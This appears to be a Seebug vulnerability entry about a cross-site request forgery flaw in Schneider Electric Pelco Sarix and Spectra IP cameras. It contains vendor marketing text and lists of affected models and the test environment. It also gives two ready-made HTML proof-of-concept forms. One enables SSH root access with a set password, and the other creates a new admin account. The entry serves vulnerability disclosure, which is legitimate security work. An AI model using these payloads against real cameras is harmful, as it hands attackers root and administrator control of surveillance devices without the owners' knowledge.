Schneider Electric Pelco Sarix/Spectra Cameras CSRF Enable SSH Root Access

ID SSV:96948
Type seebug
Reporter Root
Modified 2017-12-08T00:00:00



Pelco offers the broadest selection of IP cameras designed for security surveillance in a wide variety of commercial and industrial settings. From our industry-leading fixed and high-speed IP cameras to panoramic, thermal imaging, explosionproof and more, we offer a camera for any environment, any lighting condition and any application. When nothing but the best will do. Sarix™ Enhanced Range cameras provide the most robust feature-set for your mission-critical applications. With SureVision™ 3.0, Sarix Enhanced delivers the best possible image in difficult lighting conditions such as a combination of bright areas, shaded areas, and intense light. Designed with superior reliability, fault tolerance, and processing speed, these rugged fixed IP cameras ensure you always get the video that you need.


The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.


Schneider Electric SE -

Affected Version

  • Sarix Enhanced - Model: IME219 (Firmware:
  • Sarix Enhanced - Model: IME119 (Firmware:
  • Sarix - Model: D5230 (Firmware:
  • Sarix - Model: ID10DN (Firmware:
  • Spectra Enhanced - Model: D6230 (Firmware:

Tested On

  • Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
  • MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
  • Lighttpd/1.4.28
  • PHP/5.3.0


CSRF enable ssh root access: <html> <body> <script>history.pushState('', '', '/')</script> <form action="" method="POST"> <input type="hidden" name="enabled" value="1" /> <input type="hidden" name="password" value="root123" /> <input type="hidden" name="password_confirmation" value="root123" /> <input type="submit" value="Go root" /> </form> </body> </html>

CSRF add admin: <html> <body> <script>history.pushState('', '', '/')</script> <form action="" method="POST"> <input type="hidden" name="original_username" value="" /> <input type="hidden" name="mode" value="create" /> <input type="hidden" name="group" value="admins" /> <input type="hidden" name="username" value="pelco_admin" /> <input type="hidden" name="password" value="pelco_pass" /> <input type="hidden" name="password_confirmation" value="pelco_pass" /> <input type="submit" value="Add admin" /> </form> </body> </html>